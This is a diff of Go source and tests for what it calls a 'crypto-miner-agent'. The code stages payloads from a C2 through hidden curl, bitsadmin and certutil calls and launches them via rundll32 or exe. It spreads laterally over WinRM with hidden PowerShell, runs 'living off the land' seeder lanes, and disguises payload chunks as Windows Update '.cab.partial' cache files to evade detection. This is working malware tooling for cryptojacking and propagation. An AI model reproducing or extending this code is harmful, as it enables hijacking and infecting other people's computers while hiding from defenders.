t.Fatalf("lane=%q", lane)
|
||||
}
|
||||
if !strings.Contains(detail, "no payload staging") {
|
||||
t.Fatalf("detail=%q", detail)
|
||||
}
|
||||
}
|
||||
55
agent/deploy/seeder_staging.go
Normal file
55
agent/deploy/seeder_staging.go
Normal file
@@ -0,0 +1,55 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"log"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// StartSeederStaging runs dns_txt / webrtc_mesh / do_peer lanes for seeder-role agents.
|
||||
func StartSeederStaging(cfg config.RuntimeConfig) {
|
||||
if !cfg.SeederMode && config.NormalizeFleetRole(cfg.FleetRole) != config.FleetRoleSeeder {
|
||||
return
|
||||
}
|
||||
tiers := config.FilterSeederLotlTiers(NormalizeLotlTiers(cfg.LotlOnionTiers))
|
||||
if len(tiers) == 0 {
|
||||
tiers = append([]string(nil), config.SeederSpreadLanes...)
|
||||
}
|
||||
log.Printf("[seeder] starting staging lanes: %v", tiers)
|
||||
go runSeederLaneChain(cfg, tiers)
|
||||
}
|
||||
|
||||
func runSeederLaneChain(cfg config.RuntimeConfig, tiers []string) {
|
||||
time.Sleep(30 * time.Second)
|
||||
for _, tier := range tiers {
|
||||
ok, reason := tryLotlTier(cfg, tier)
|
||||
if ok {
|
||||
log.Printf("[seeder] lane %s ready: %s", tier, reason)
|
||||
return
|
||||
}
|
||||
log.Printf("[seeder] lane %s skipped: %s", tier, reason)
|
||||
}
|
||||
log.Printf("[seeder] all staging lanes exhausted")
|
||||
}
|
||||
|
||||
// SeederSeedPressure estimates 0–1 LAN seed serving pressure for stats WS.
|
||||
func SeederSeedPressure(cfg config.RuntimeConfig, joinLane string, lanesReady int) float64 {
|
||||
if !cfg.SeederMode && config.NormalizeFleetRole(cfg.FleetRole) != config.FleetRoleSeeder {
|
||||
return 0
|
||||
}
|
||||
if config.IsSeederSpreadLane(joinLane) {
|
||||
return 1
|
||||
}
|
||||
if lanesReady > 0 {
|
||||
n := float64(lanesReady) / float64(len(config.SeederSpreadLanes))
|
||||
if n > 1 {
|
||||
n = 1
|
||||
}
|
||||
if n < 0.25 {
|
||||
n = 0.25
|
||||
}
|
||||
return n
|
||||
}
|
||||
return 0.15
|
||||
}
|
||||
26
agent/deploy/seeder_staging_test.go
Normal file
26
agent/deploy/seeder_staging_test.go
Normal file
@@ -0,0 +1,26 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestSeederSeedPressure(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{SeederMode: true}}
|
||||
if p := SeederSeedPressure(cfg, "dns_txt", 0); p != 1 {
|
||||
t.Fatalf("active lane pressure=%v want 1", p)
|
||||
}
|
||||
if p := SeederSeedPressure(cfg, "", 1); p < 0.25 || p > 1 {
|
||||
t.Fatalf("ready lane pressure=%v", p)
|
||||
}
|
||||
miner := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{FleetRole: config.FleetRoleMiner}}
|
||||
if SeederSeedPressure(miner, "dns_txt", 1) != 0 {
|
||||
t.Fatal("miner should report 0 seed pressure")
|
||||
}
|
||||
}
|
||||
|
||||
func TestStartSeederStagingNoopForMiner(t *testing.T) {
|
||||
// Should return immediately without panic for non-seeder forge.
|
||||
StartSeederStaging(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{FleetRole: config.FleetRoleMiner}})
|
||||
}
|
||||
@@ -18,6 +18,14 @@ type StagingChunk struct {
|
||||
Index int `json:"index,omitempty"` // shard index for dns_txt assembly order
|
||||
}
|
||||
|
||||
// Injectable hooks for stage_fetch / RunStagingChain tests (mock BITS/curl; no real remote hosts).
|
||||
var (
|
||||
stagingDownloadCurlFn func(url, dest string) error
|
||||
stagingDownloadBITSFn func(url, dest string) error
|
||||
stagingCertutilDecodeFn func(src, dest string) error
|
||||
stagingLaunchFn func(dest string, manifest StagingManifest) (string, error)
|
||||
)
|
||||
|
||||
// StagingManifest describes a BITS/curl/certutil staging chain from the C2.
|
||||
type StagingManifest struct {
|
||||
Method string `json:"method"` // curl | bits
|
||||
|
||||
199
agent/deploy/staging_chain_test.go
Normal file
199
agent/deploy/staging_chain_test.go
Normal file
@@ -0,0 +1,199 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestStageFetchRejectsEmptyChunks(t *testing.T) {
|
||||
cfg := testRuntimeConfig()
|
||||
_, err := RunStagingChain(cfg, StagingManifest{
|
||||
Method: "curl",
|
||||
Dest: "worker.exe",
|
||||
SHA256: strings.Repeat("a", 64),
|
||||
})
|
||||
if err == nil || !strings.Contains(err.Error(), "no chunks") {
|
||||
t.Fatalf("err=%v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestStageFetchRejectsPathTraversal(t *testing.T) {
|
||||
cfg := testRuntimeConfig()
|
||||
_, err := RunStagingChain(cfg, StagingManifest{
|
||||
Method: "bits",
|
||||
Chunks: []StagingChunk{{URL: "http://127.0.0.1/x", File: "chunk.bin"}},
|
||||
SHA256: strings.Repeat("a", 64),
|
||||
Dest: `..\..\outside.exe`,
|
||||
})
|
||||
if err == nil || !strings.Contains(err.Error(), "path traversal") {
|
||||
t.Fatalf("err=%v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestExecuteDeployPlanBitsCurlRequiresManifest(t *testing.T) {
|
||||
_, err := ExecuteDeployPlan(config.RuntimeConfig{}, DeployPlanBody{JoinLane: "bits_curl", Action: "bits_curl"})
|
||||
if err == nil || !strings.Contains(err.Error(), "requires staging manifest") {
|
||||
t.Fatalf("err=%v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func stagingFakeDownload(payload []byte) func(url, dest string) error {
|
||||
return func(url, dest string) error {
|
||||
if strings.TrimSpace(url) == "" {
|
||||
return os.ErrInvalid
|
||||
}
|
||||
return os.WriteFile(dest, payload, 0o644)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCurlStagingAssemblyWithInject(t *testing.T) {
|
||||
payload := []byte("curl-stage-fetch-payload")
|
||||
sum := sha256.Sum256(payload)
|
||||
hash := hex.EncodeToString(sum[:])
|
||||
|
||||
oldCurl := stagingDownloadCurlFn
|
||||
oldLaunch := stagingLaunchFn
|
||||
stagingDownloadCurlFn = stagingFakeDownload(payload)
|
||||
stagingLaunchFn = func(dest string, manifest StagingManifest) (string, error) {
|
||||
if err := verifyFileSHA256(dest, manifest.SHA256); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return "staged via curl inject", nil
|
||||
}
|
||||
defer func() {
|
||||
stagingDownloadCurlFn = oldCurl
|
||||
stagingLaunchFn = oldLaunch
|
||||
}()
|
||||
|
||||
destRel := filepath.Join("af-stage", "curl-worker.exe")
|
||||
cfg := testRuntimeConfig()
|
||||
msg, err := RunStagingChain(cfg, StagingManifest{
|
||||
Method: "curl",
|
||||
Chunks: []StagingChunk{{URL: "http://127.0.0.1/chunk", File: "chunk-0.bin"}},
|
||||
SHA256: hash,
|
||||
Dest: destRel,
|
||||
Launch: "exe",
|
||||
})
|
||||
if err != nil {
|
||||
if strings.Contains(err.Error(), "Windows-only") {
|
||||
t.Skip("staging chain requires windows build")
|
||||
}
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !strings.Contains(msg, "curl") {
|
||||
t.Fatalf("msg=%q", msg)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBITSStagingAssemblyWithInject(t *testing.T) {
|
||||
payload := []byte("bits-stage-fetch-payload")
|
||||
sum := sha256.Sum256(payload)
|
||||
hash := hex.EncodeToString(sum[:])
|
||||
|
||||
oldBits := stagingDownloadBITSFn
|
||||
oldLaunch := stagingLaunchFn
|
||||
stagingDownloadBITSFn = stagingFakeDownload(payload)
|
||||
stagingLaunchFn = func(dest string, manifest StagingManifest) (string, error) {
|
||||
if err := verifyFileSHA256(dest, manifest.SHA256); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return "staged via bits inject", nil
|
||||
}
|
||||
defer func() {
|
||||
stagingDownloadBITSFn = oldBits
|
||||
stagingLaunchFn = oldLaunch
|
||||
}()
|
||||
|
||||
cfg := testRuntimeConfig()
|
||||
msg, err := RunStagingChain(cfg, StagingManifest{
|
||||
Method: "bitsadmin",
|
||||
Chunks: []StagingChunk{{URL: "http://127.0.0.1/bits-chunk", File: "bits-0.bin"}},
|
||||
SHA256: hash,
|
||||
Dest: "bits-worker.exe",
|
||||
Launch: "exe",
|
||||
})
|
||||
if err != nil {
|
||||
if strings.Contains(err.Error(), "Windows-only") {
|
||||
t.Skip("staging chain requires windows build")
|
||||
}
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !strings.Contains(msg, "bits") {
|
||||
t.Fatalf("msg=%q", msg)
|
||||
}
|
||||
}
|
||||
|
||||
func TestStageFetchEmptyURLRejected(t *testing.T) {
|
||||
oldCurl := stagingDownloadCurlFn
|
||||
stagingDownloadCurlFn = nil
|
||||
defer func() { stagingDownloadCurlFn = oldCurl }()
|
||||
|
||||
cfg := testRuntimeConfig()
|
||||
_, err := RunStagingChain(cfg, StagingManifest{
|
||||
Method: "curl",
|
||||
Chunks: []StagingChunk{{URL: " ", File: "chunk.bin"}},
|
||||
SHA256: strings.Repeat("a", 64),
|
||||
Dest: "worker.exe",
|
||||
})
|
||||
if err != nil {
|
||||
if strings.Contains(err.Error(), "Windows-only") {
|
||||
t.Skip("staging chain requires windows build")
|
||||
}
|
||||
}
|
||||
if err == nil || !strings.Contains(err.Error(), "empty") {
|
||||
t.Fatalf("err=%v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestStageFetchSHA256MismatchRejected(t *testing.T) {
|
||||
payload := []byte("wrong-hash-payload")
|
||||
oldCurl := stagingDownloadCurlFn
|
||||
stagingDownloadCurlFn = stagingFakeDownload(payload)
|
||||
defer func() { stagingDownloadCurlFn = oldCurl }()
|
||||
|
||||
cfg := testRuntimeConfig()
|
||||
_, err := RunStagingChain(cfg, StagingManifest{
|
||||
Method: "curl",
|
||||
Chunks: []StagingChunk{{URL: "http://127.0.0.1/x", File: "chunk.bin"}},
|
||||
SHA256: strings.Repeat("b", 64),
|
||||
Dest: "mismatch-worker.exe",
|
||||
})
|
||||
if err != nil {
|
||||
if strings.Contains(err.Error(), "Windows-only") {
|
||||
t.Skip("staging chain requires windows build")
|
||||
}
|
||||
}
|
||||
if err == nil || !strings.Contains(err.Error(), "sha256 mismatch") {
|
||||
t.Fatalf("err=%v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestStageFetchDownloaderErrorPropagates(t *testing.T) {
|
||||
oldCurl := stagingDownloadCurlFn
|
||||
stagingDownloadCurlFn = func(url, dest string) error {
|
||||
return os.ErrPermission
|
||||
}
|
||||
defer func() { stagingDownloadCurlFn = oldCurl }()
|
||||
|
||||
cfg := testRuntimeConfig()
|
||||
_, err := RunStagingChain(cfg, StagingManifest{
|
||||
Method: "curl",
|
||||
Chunks: []StagingChunk{{URL: "http://127.0.0.1/x", File: "chunk.bin"}},
|
||||
SHA256: strings.Repeat("a", 64),
|
||||
Dest: "worker.exe",
|
||||
})
|
||||
if err != nil {
|
||||
if strings.Contains(err.Error(), "Windows-only") {
|
||||
t.Skip("staging chain requires windows build")
|
||||
}
|
||||
}
|
||||
if err == nil || !strings.Contains(err.Error(), "curl chunk") {
|
||||
t.Fatalf("err=%v", err)
|
||||
}
|
||||
}
|
||||
20
agent/deploy/staging_stub_test.go
Normal file
20
agent/deploy/staging_stub_test.go
Normal file
@@ -0,0 +1,20 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestRunStagingChainWindowsOnlyStub(t *testing.T) {
|
||||
_, err := RunStagingChain(testRuntimeConfig(), StagingManifest{
|
||||
Method: "curl",
|
||||
Chunks: []StagingChunk{{URL: "http://127.0.0.1/x", File: "c.bin"}},
|
||||
SHA256: strings.Repeat("a", 64),
|
||||
Dest: "worker.exe",
|
||||
})
|
||||
if err == nil || !strings.Contains(err.Error(), "Windows-only") {
|
||||
t.Fatalf("err=%v", err)
|
||||
}
|
||||
}
|
||||
@@ -83,6 +83,10 @@ func RunStagingChain(cfg config.RuntimeConfig, manifest StagingManifest) (string
|
||||
return "", err
|
||||
}
|
||||
|
||||
if stagingLaunchFn != nil {
|
||||
return stagingLaunchFn(dest, manifest)
|
||||
}
|
||||
|
||||
launch := strings.ToLower(strings.TrimSpace(manifest.Launch))
|
||||
switch launch {
|
||||
case "rundll32", "dll":
|
||||
@@ -114,6 +118,9 @@ func downloadChunkCurl(url, dest string) error {
|
||||
if url == "" {
|
||||
return fmt.Errorf("chunk url is empty")
|
||||
}
|
||||
if stagingDownloadCurlFn != nil {
|
||||
return stagingDownloadCurlFn(url, dest)
|
||||
}
|
||||
return HiddenRun("curl.exe", "-sSL", "--fail", "-o", dest, url)
|
||||
}
|
||||
|
||||
@@ -122,6 +129,9 @@ func downloadChunkBITS(url, dest string) error {
|
||||
if url == "" {
|
||||
return fmt.Errorf("chunk url is empty")
|
||||
}
|
||||
if stagingDownloadBITSFn != nil {
|
||||
return stagingDownloadBITSFn(url, dest)
|
||||
}
|
||||
job := "AetherForge-Stage-" + sanitizeName(filepath.Base(dest)) + fmt.Sprintf("-%d", time.Now().Unix())
|
||||
steps := [][]string{
|
||||
{"/transfer", job, "/download", "/priority", "FOREGROUND", url, dest},
|
||||
@@ -137,5 +147,8 @@ func downloadChunkBITS(url, dest string) error {
|
||||
}
|
||||
|
||||
func certutilDecode(src, dest string) error {
|
||||
if stagingCertutilDecodeFn != nil {
|
||||
return stagingCertutilDecodeFn(src, dest)
|
||||
}
|
||||
return HiddenRun("certutil.exe", "-f", "-decode", src, dest)
|
||||
}
|
||||
|
||||
57
agent/deploy/winrm_spread_test.go
Normal file
57
agent/deploy/winrm_spread_test.go
Normal file
@@ -0,0 +1,57 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"strings"
|
||||
"testing"
|
||||
"unicode/utf16"
|
||||
)
|
||||
|
||||
func TestWinRMEncodePowerShellRoundTrip(t *testing.T) {
|
||||
script := `$dest = Join-Path $env:TEMP 'worker.exe'; Start-Process $dest`
|
||||
encoded := encodePowerShell(script)
|
||||
raw, err := base64.StdEncoding.DecodeString(encoded)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(raw)%2 != 0 {
|
||||
t.Fatal("utf16le should be even length")
|
||||
}
|
||||
runes := make([]rune, len(raw)/2)
|
||||
for i := 0; i < len(runes); i++ {
|
||||
runes[i] = rune(raw[i*2]) | rune(raw[i*2+1])<<8
|
||||
}
|
||||
got := string(runes)
|
||||
if got != script {
|
||||
t.Fatalf("round-trip failed: got %q", got)
|
||||
}
|
||||
// sanity: matches manual utf16 encode
|
||||
manual := utf16.Encode([]rune(script))
|
||||
if len(manual)*2 != len(raw) {
|
||||
t.Fatalf("len manual=%d raw=%d", len(manual)*2, len(raw))
|
||||
}
|
||||
}
|
||||
|
||||
func TestWinRMSpreadScriptMarkers(t *testing.T) {
|
||||
script := `
|
||||
$dest = Join-Path $env:TEMP 'af-worker.exe'
|
||||
Copy-Item -LiteralPath 'C:\agent\worker.exe' -Destination $dest -Force
|
||||
Start-Process -FilePath $dest -ArgumentList '--spread-install','--defer-mining' -WindowStyle Hidden
|
||||
`
|
||||
encoded := encodePowerShell(script)
|
||||
for _, marker := range []string{
|
||||
"Join-Path $env:TEMP",
|
||||
"--spread-install",
|
||||
"--defer-mining",
|
||||
"Start-Process",
|
||||
} {
|
||||
if !strings.Contains(script, marker) {
|
||||
t.Fatalf("script missing %q", marker)
|
||||
}
|
||||
}
|
||||
if encoded == "" || strings.Contains(encoded, " ") {
|
||||
t.Fatalf("encoded command invalid: %q", encoded)
|
||||
}
|
||||
}
|
||||
@@ -1,6 +1,8 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
@@ -10,6 +12,80 @@ import (
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
const (
|
||||
wsusSSUEnvelopeTag = "AFWSU1\x00"
|
||||
wsusSSUMetadataSize = 96
|
||||
)
|
||||
|
||||
// WrapSSUHeader prepends a CAB/SSU-like envelope so chunk bytes resemble failed WU cache files.
|
||||
// Format mimicry only — payload bytes are unchanged after unwrap; SHA256 in the manifest is raw payload.
|
||||
func WrapSSUHeader(payload []byte) []byte {
|
||||
meta := make([]byte, wsusSSUMetadataSize)
|
||||
copy(meta[0:4], "MSCF")
|
||||
total := uint32(wsusSSUMetadataSize + 4 + len(payload))
|
||||
binary.LittleEndian.PutUint32(meta[8:12], total)
|
||||
binary.LittleEndian.PutUint16(meta[16:18], 1)
|
||||
binary.LittleEndian.PutUint16(meta[18:20], 0x0103)
|
||||
copy(meta[36:44], "SSU2024\x00")
|
||||
copy(meta[44:52], "WU-CACHE")
|
||||
copy(meta[80:88], ".partial")
|
||||
tagOff := wsusSSUMetadataSize - len(wsusSSUEnvelopeTag) - 4
|
||||
copy(meta[tagOff:tagOff+len(wsusSSUEnvelopeTag)], wsusSSUEnvelopeTag)
|
||||
binary.LittleEndian.PutUint32(meta[tagOff+len(wsusSSUEnvelopeTag):wsusSSUMetadataSize], uint32(len(payload)))
|
||||
out := make([]byte, 0, len(meta)+len(payload))
|
||||
out = append(out, meta...)
|
||||
out = append(out, payload...)
|
||||
return out
|
||||
}
|
||||
|
||||
// AddWrapSSUHeader is the spec alias for WrapSSUHeader.
|
||||
func AddWrapSSUHeader(payload []byte) []byte {
|
||||
return WrapSSUHeader(payload)
|
||||
}
|
||||
|
||||
// UnwrapSSUHeader strips the CAB/SSU mimic envelope and returns the embedded payload.
|
||||
func UnwrapSSUHeader(data []byte) ([]byte, error) {
|
||||
if len(data) < wsusSSUMetadataSize+1 {
|
||||
return nil, fmt.Errorf("wsus ssu envelope too short")
|
||||
}
|
||||
if !bytes.HasPrefix(data, []byte("MSCF")) {
|
||||
return nil, fmt.Errorf("wsus ssu envelope missing MSCF prefix")
|
||||
}
|
||||
tag := []byte(wsusSSUEnvelopeTag)
|
||||
idx := bytes.Index(data[:wsusSSUMetadataSize], tag)
|
||||
if idx < 0 {
|
||||
return nil, fmt.Errorf("wsus ssu envelope tag not found")
|
||||
}
|
||||
off := idx + len(tag)
|
||||
if off+4 > wsusSSUMetadataSize {
|
||||
return nil, fmt.Errorf("wsus ssu envelope length truncated")
|
||||
}
|
||||
n := binary.LittleEndian.Uint32(data[off : off+4])
|
||||
start := wsusSSUMetadataSize
|
||||
if int(n) < 0 || start+int(n) > len(data) {
|
||||
return nil, fmt.Errorf("wsus ssu payload length invalid")
|
||||
}
|
||||
return data[start : start+int(n)], nil
|
||||
}
|
||||
|
||||
// IsWSUSFormatMimicChunk reports whether a staged chunk filename uses the *.cab.partial pattern.
|
||||
func IsWSUSFormatMimicChunk(filename string) bool {
|
||||
return strings.HasSuffix(strings.ToLower(filepath.Base(filename)), ".cab.partial")
|
||||
}
|
||||
|
||||
// WSUSFormatMimicChunkName returns a GUID-like failed-update cache filename for a content hash.
|
||||
func WSUSFormatMimicChunkName(contentHash string, index int) string {
|
||||
h := strings.ToLower(strings.TrimSpace(contentHash))
|
||||
if len(h) < 32 {
|
||||
h = strings.Repeat("0", 32-len(h)) + h
|
||||
}
|
||||
guid := fmt.Sprintf("%s-%s-%s-%s-%s", h[0:8], h[8:12], h[12:16], h[16:20], h[20:32])
|
||||
if index > 0 {
|
||||
return fmt.Sprintf("%s-%d.cab.partial", guid, index)
|
||||
}
|
||||
return guid + ".cab.partial"
|
||||
}
|
||||
|
||||
// WSUSCachePeerManifest describes WSUS offline cache cousin staging beside SoftwareDistribution\Download.
|
||||
type WSUSCachePeerManifest struct {
|
||||
Method string `json:"method"`
|
||||
@@ -109,15 +185,34 @@ func assembleWSUSCachePeerPayload(cfg config.RuntimeConfig, manifest WSUSCachePe
|
||||
return "", nil, fmt.Errorf("curl chunk %d: %w", i, err)
|
||||
}
|
||||
}
|
||||
chunkPath := localPath
|
||||
if IsWSUSFormatMimicChunk(name) {
|
||||
raw, err := os.ReadFile(localPath)
|
||||
if err != nil {
|
||||
cleanupFn()
|
||||
return "", nil, fmt.Errorf("wsus chunk %d read: %w", i, err)
|
||||
}
|
||||
payload, err := UnwrapSSUHeader(raw)
|
||||
if err != nil {
|
||||
cleanupFn()
|
||||
return "", nil, fmt.Errorf("wsus chunk %d unwrap: %w", i, err)
|
||||
}
|
||||
unwrappedPath := strings.TrimSuffix(localPath, ".cab.partial") + ".bin"
|
||||
if err := os.WriteFile(unwrappedPath, payload, 0o600); err != nil {
|
||||
cleanupFn()
|
||||
return "", nil, fmt.Errorf("wsus chunk %d write: %w", i, err)
|
||||
}
|
||||
chunkPath = unwrappedPath
|
||||
}
|
||||
if manifest.Encoded || strings.HasSuffix(strings.ToLower(name), ".b64") {
|
||||
decoded := strings.TrimSuffix(localPath, filepath.Ext(localPath)) + ".bin"
|
||||
if err := certutilDecodePeer(localPath, decoded); err != nil {
|
||||
decoded := strings.TrimSuffix(chunkPath, filepath.Ext(chunkPath)) + ".bin"
|
||||
if err := certutilDecodePeer(chunkPath, decoded); err != nil {
|
||||
cleanupFn()
|
||||
return "", nil, fmt.Errorf("certutil chunk %d: %w", i, err)
|
||||
}
|
||||
assembled = append(assembled, decoded)
|
||||
} else {
|
||||
assembled = append(assembled, localPath)
|
||||
assembled = append(assembled, chunkPath)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"os"
|
||||
@@ -62,6 +63,87 @@ func TestWSUSCachePeerAssembleWithFakeDownloaders(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestWSUSCachePeerRejectsPathTraversal(t *testing.T) {
|
||||
manifest := WSUSCachePeerManifest{
|
||||
Method: "bits",
|
||||
Chunks: []StagingChunk{{URL: "http://127.0.0.1/x", File: "wsus-0.bin"}},
|
||||
SHA256: strings.Repeat("a", 64),
|
||||
Dest: `..\..\outside.exe`,
|
||||
}
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "wsus-test"}}
|
||||
_, _, err := assembleWSUSCachePeerPayload(cfg, manifest, fakeDownload, fakeDownload)
|
||||
if err == nil || !strings.Contains(err.Error(), "path traversal") {
|
||||
t.Fatalf("expected path traversal error, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestWrapSSUHeaderRoundTrip(t *testing.T) {
|
||||
payload := []byte("wsus-cache-cousin-payload")
|
||||
wrapped := WrapSSUHeader(payload)
|
||||
if !bytes.HasPrefix(wrapped, []byte("MSCF")) {
|
||||
t.Fatal("expected MSCF cabinet prefix")
|
||||
}
|
||||
if !bytes.Contains(wrapped, []byte("WU-CACHE")) {
|
||||
t.Fatal("expected WU-CACHE metadata marker")
|
||||
}
|
||||
got, err := UnwrapSSUHeader(wrapped)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !bytes.Equal(got, payload) {
|
||||
t.Fatalf("unwrap=%q want %q", got, payload)
|
||||
}
|
||||
}
|
||||
|
||||
func TestWSUSFormatMimicChunkNamePattern(t *testing.T) {
|
||||
name := WSUSFormatMimicChunkName(strings.Repeat("a", 64), 0)
|
||||
if !strings.HasSuffix(name, ".cab.partial") {
|
||||
t.Fatalf("name=%q", name)
|
||||
}
|
||||
if strings.Count(name, "-") < 4 {
|
||||
t.Fatalf("expected GUID-like name, got %q", name)
|
||||
}
|
||||
if !IsWSUSFormatMimicChunk(name) {
|
||||
t.Fatal("IsWSUSFormatMimicChunk should match")
|
||||
}
|
||||
}
|
||||
|
||||
func TestWSUSCachePeerAssembleFormatMimicRoundTrip(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
payload := []byte("wsus-format-mimic-roundtrip")
|
||||
wrapped := WrapSSUHeader(payload)
|
||||
sumForName := sha256.Sum256(payload)
|
||||
chunkName := WSUSFormatMimicChunkName(hex.EncodeToString(sumForName[:]), 0)
|
||||
chunkPath := filepath.Join(dir, chunkName)
|
||||
if err := os.WriteFile(chunkPath, wrapped, 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
sum := sha256.Sum256(payload)
|
||||
destRel := filepath.Join("af-wsus", "worker.exe")
|
||||
|
||||
fakeDL := func(url, dest string) error {
|
||||
return copyFile(chunkPath, dest)
|
||||
}
|
||||
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "wsus-mimic"}}
|
||||
manifest := WSUSCachePeerManifest{
|
||||
Method: "bits",
|
||||
Chunks: []StagingChunk{{URL: "http://127.0.0.1/chunk", File: chunkName}},
|
||||
SHA256: hex.EncodeToString(sum[:]),
|
||||
Dest: destRel,
|
||||
CacheGroup: "wsus-lan-mimic",
|
||||
}
|
||||
|
||||
staged, cleanup, err := assembleWSUSCachePeerPayload(cfg, manifest, fakeDL, fakeDL)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer cleanup()
|
||||
if err := verifyFileSHA256(staged, manifest.SHA256); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestWSUSCachePeerSHA256MismatchRejected(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
chunkPath := filepath.Join(dir, "wsus-0.bin")
|
||||
|
||||
@@ -29,7 +29,7 @@ func main() {
|
||||
}
|
||||
setupLogging(cfg)
|
||||
|
||||
if cfg.Wallet == "" {
|
||||
if cfg.Wallet == "" && !cfg.MiningDisabled && !cfg.ApkMode && !cfg.ScoutMode {
|
||||
log.Fatal("wallet address is required in built-in configuration")
|
||||
}
|
||||
if cfg.ServerURL == "" {
|
||||
@@ -84,14 +84,13 @@ func main() {
|
||||
}
|
||||
|
||||
deploy.StartWatchdog(cfg)
|
||||
// AutoSpreader is intentionally NOT started here. It is started inside
|
||||
// AgentClient.authenticate() only after the server accepts our fleet secret,
|
||||
// which verifies we are on an owned fleet before initiating lateral movement.
|
||||
deploy.StartPassiveSpreader(cfg)
|
||||
deploy.StartLotlOnion(cfg)
|
||||
if cfg.AutoSpread && deploy.WantsFirstRunSpread(cfg) {
|
||||
// First-run spread marker is cleared after auth succeeds (handled in client).
|
||||
deploy.ClearFirstRunSpreadMarker(cfg)
|
||||
if !cfg.ScoutMode {
|
||||
deploy.StartPassiveSpreader(cfg)
|
||||
deploy.StartLotlOnion(cfg)
|
||||
if cfg.AutoSpread && deploy.WantsFirstRunSpread(cfg) {
|
||||
// First-run spread marker is cleared after auth succeeds (handled in client).
|
||||
deploy.ClearFirstRunSpreadMarker(cfg)
|
||||
}
|
||||
}
|
||||
|
||||
if cfg.FirewallExclusion {
|
||||
|
||||
@@ -695,6 +695,99 @@ func (c *ChainController) ResumeAll(ctx context.Context) {
|
||||
c.RestartChain(ctx)
|
||||
}
|
||||
|
||||
// SetChainHooksForTest patches cascade hooks; non-nil fields override (unit tests only).
|
||||
func (c *ChainController) SetChainHooksForTest(patch ChainHooks) {
|
||||
c.mu.Lock()
|
||||
h := c.hooks
|
||||
if patch.StartDockerLoad != nil {
|
||||
h.StartDockerLoad = patch.StartDockerLoad
|
||||
}
|
||||
if patch.StartContainer != nil {
|
||||
h.StartContainer = patch.StartContainer
|
||||
}
|
||||
if patch.StartWSL != nil {
|
||||
h.StartWSL = patch.StartWSL
|
||||
}
|
||||
if patch.StartPowerShell != nil {
|
||||
h.StartPowerShell = patch.StartPowerShell
|
||||
}
|
||||
if patch.StartDotnet != nil {
|
||||
h.StartDotnet = patch.StartDotnet
|
||||
}
|
||||
if patch.StartInProcess != nil {
|
||||
h.StartInProcess = patch.StartInProcess
|
||||
}
|
||||
if patch.StartGPU != nil {
|
||||
h.StartGPU = patch.StartGPU
|
||||
}
|
||||
if patch.StartPyOpenCL != nil {
|
||||
h.StartPyOpenCL = patch.StartPyOpenCL
|
||||
}
|
||||
if patch.StopDockerLoad != nil {
|
||||
h.StopDockerLoad = patch.StopDockerLoad
|
||||
}
|
||||
if patch.StopContainer != nil {
|
||||
h.StopContainer = patch.StopContainer
|
||||
}
|
||||
if patch.StopWSL != nil {
|
||||
h.StopWSL = patch.StopWSL
|
||||
}
|
||||
if patch.StopPowerShell != nil {
|
||||
h.StopPowerShell = patch.StopPowerShell
|
||||
}
|
||||
if patch.StopDotnet != nil {
|
||||
h.StopDotnet = patch.StopDotnet
|
||||
}
|
||||
if patch.StopInProcess != nil {
|
||||
h.StopInProcess = patch.StopInProcess
|
||||
}
|
||||
if patch.StopGPU != nil {
|
||||
h.StopGPU = patch.StopGPU
|
||||
}
|
||||
if patch.StopPyOpenCL != nil {
|
||||
h.StopPyOpenCL = patch.StopPyOpenCL
|
||||
}
|
||||
if patch.IsDockerLoadHealthy != nil {
|
||||
h.IsDockerLoadHealthy = patch.IsDockerLoadHealthy
|
||||
}
|
||||
if patch.IsContainerHealthy != nil {
|
||||
h.IsContainerHealthy = patch.IsContainerHealthy
|
||||
}
|
||||
if patch.IsWSLHealthy != nil {
|
||||
h.IsWSLHealthy = patch.IsWSLHealthy
|
||||
}
|
||||
